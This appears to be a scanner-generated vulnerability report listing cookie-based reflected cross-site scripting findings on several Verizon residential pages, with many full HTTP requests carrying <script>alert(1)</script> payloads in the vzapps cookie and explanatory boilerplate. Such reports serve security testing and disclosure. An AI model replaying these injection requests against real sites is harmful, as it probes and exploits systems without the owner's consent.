GET /Residential/aboutfios/labs.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX41492<script>alert(1)</script>9893dbf42a1; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload f5336'><script>alert(1)</script>a8f445364b7 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/aboutfios/widgets.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TXf5336'><script>alert(1)</script>a8f445364b7; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the HTML document as plain text between tags. The payload 4423e<script>alert(1)</script>4bcdea2c76b was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /Residential/aboutfios/widgets.htm HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX4423e<script>alert(1)</script>4bcdea2c76b; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the HTML document as plain text between tags. The payload eefab<script>alert(1)</script>f9f05845c88 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /ResidentialHelp/HomePage HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TXeefab<script>alert(1)</script>f9f05845c88; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
Response
HTTP/1.0 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Content-Type: text/html; charset=utf-8 Content-Length: 175807 Expires: Sat, 20 Nov 2010 01:51:13 GMT Cache-Control: max-age=0, no-cache, no-store Date: Sat, 20 Nov 2010 01:51:13 GMT Connection: close
<HTML xmlns:vz> <HEAD id="ctl00_head"><title> Verizon | Residential Support </title><meta http-equiv="Content-Type" content="text/html; charset=windows-1251" /><meta content="Microsoft Vis ...[SNIP]... </strong>, TXeefab<script>alert(1)</script>f9f05845c88 </span> ...[SNIP]...
The value of the vzapps cookie is copied into the HTML document as plain text between tags. The payload 7b494<script>alert(1)</script>afac785228b was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /ResidentialHelp/Templates/OverView.aspx?NRMODE=Published&NRNODEGUID=%7bCB971C1D-58DB-4072-97CC-3FEF3528A033%7d&NRORIGINALURL=%2fResidentialhelp%2f&NRCACHEHINT=Guest HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX7b494<script>alert(1)</script>afac785228b; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
Response
HTTP/1.0 200 OK Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Content-Type: text/html; charset=utf-8 Content-Length: 175779 Expires: Sat, 20 Nov 2010 01:48:30 GMT Cache-Control: max-age=0, no-cache, no-store Date: Sat, 20 Nov 2010 01:48:30 GMT Connection: close
<HTML xmlns:vz> <HEAD id="ctl00_head"><title> Verizon | Residential Support </title><meta http-equiv="Content-Type" content="text/html; charset=windows-1251" /><meta content="Microsoft Vis ...[SNIP]... </strong>, TX7b494<script>alert(1)</script>afac785228b </span> ...[SNIP]...
The value of the vzapps cookie is copied into the HTML document as plain text between tags. The payload ac17a<script>alert(1)</script>5020a67f2e2 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /residential/aboutfios HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TXac17a<script>alert(1)</script>5020a67f2e2; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 552bf'><script>alert(1)</script>55d73b5ac19 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /residential/aboutfios HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX552bf'><script>alert(1)</script>55d73b5ac19; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 75574'><script>alert(1)</script>10795f1ad69 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /residential/bundles/ HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX75574'><script>alert(1)</script>10795f1ad69; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the HTML document as plain text between tags. The payload 819f5<script>alert(1)</script>2af12fc8329 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /residential/bundles/ HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX819f5<script>alert(1)</script>2af12fc8329; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the HTML document as plain text between tags. The payload c3ec2<script>alert(1)</script>87b9286082a was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /residential/bundles/LaConexion HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TXc3ec2<script>alert(1)</script>87b9286082a; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 3381e'><script>alert(1)</script>da092e131c was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /residential/bundles/LaConexion HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX3381e'><script>alert(1)</script>da092e131c; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload b6938'><script>alert(1)</script>d8e98f3fbfc was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /residential/bundles/MarketingLanding/triple_play_M_m2m/triple_play_M_m2m HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TXb6938'><script>alert(1)</script>d8e98f3fbfc; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the HTML document as plain text between tags. The payload 90f53<script>alert(1)</script>7ec7b19d265 was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /residential/bundles/MarketingLanding/triple_play_M_m2m/triple_play_M_m2m HTTP/1.1 Host: www22.verizon.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: AimsChatURL_Cookie=https://collaborateext.verizon.com; ContextInfo_LoopQual=; NSC_xxx22_tqmbu_mcw=ffffffff895bc66745525d5f4f58455e445a4a423660; ASPSESSIONIDAASCDDSA=AMLODODCAHPOLKFNKLMMJDCI; RVServiceLocation=TX; refURL=http://www22.verizon.com/residential/bundles/overview#; ASPSESSIONIDCAQADCTB=PGANHBHDNPJFAIJNKAPFDFDH; AIMSPRESESSIONIDSIT=b0fSMnlh2F6rplqPnctyFnvJpZDYjpP4klp2cs58KlQcZdp34GLp!-1715131945!-1272131215; lob=dotcom; NSC_xxx22_jodmveft_dbdif_mcw=ffffffff895bc69545525d5f4f58455e445a4a42366a; V347=0; VZGEO=west; ASP.NET_SessionId=kc2rmnitgge3vp55akjq0i45; ak-sf=false; RegistrationApp=SessionId=293e47b8-02f1-4184-8a59-1a5fb423293a; CMS_TimeZoneOffset=360; vzapps=STATE=TX90f53<script>alert(1)</script>7ec7b19d265; PageTitle=Livechat; MediaSelectionCookie=A=&B=&C=nr2liYUIqsVUTefrms4XwUMiIG0Q0WQ8Vfky/1Ou14xUdaKgrLESuL7oVYJFcmRnYCQjNuRbl0c=&D=Kxbc9cX1IJa2k8/FjKMZXg==&E=&F=&G=&H=&I=; ContextInfo_State=TX; Source=Internet; vzAppID=; myservices=vzdock=N; NSC_xxx22_gzi_nzbddu_mcw=ffffffff895bc6ca45525d5f4f58455e445a4a423660; CP=null*;
The value of the vzapps cookie is copied into the HTML document as plain text between tags. The payload 2b335<script>alert(1)</script>16e9b943a7a was submitted in the vzapps cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
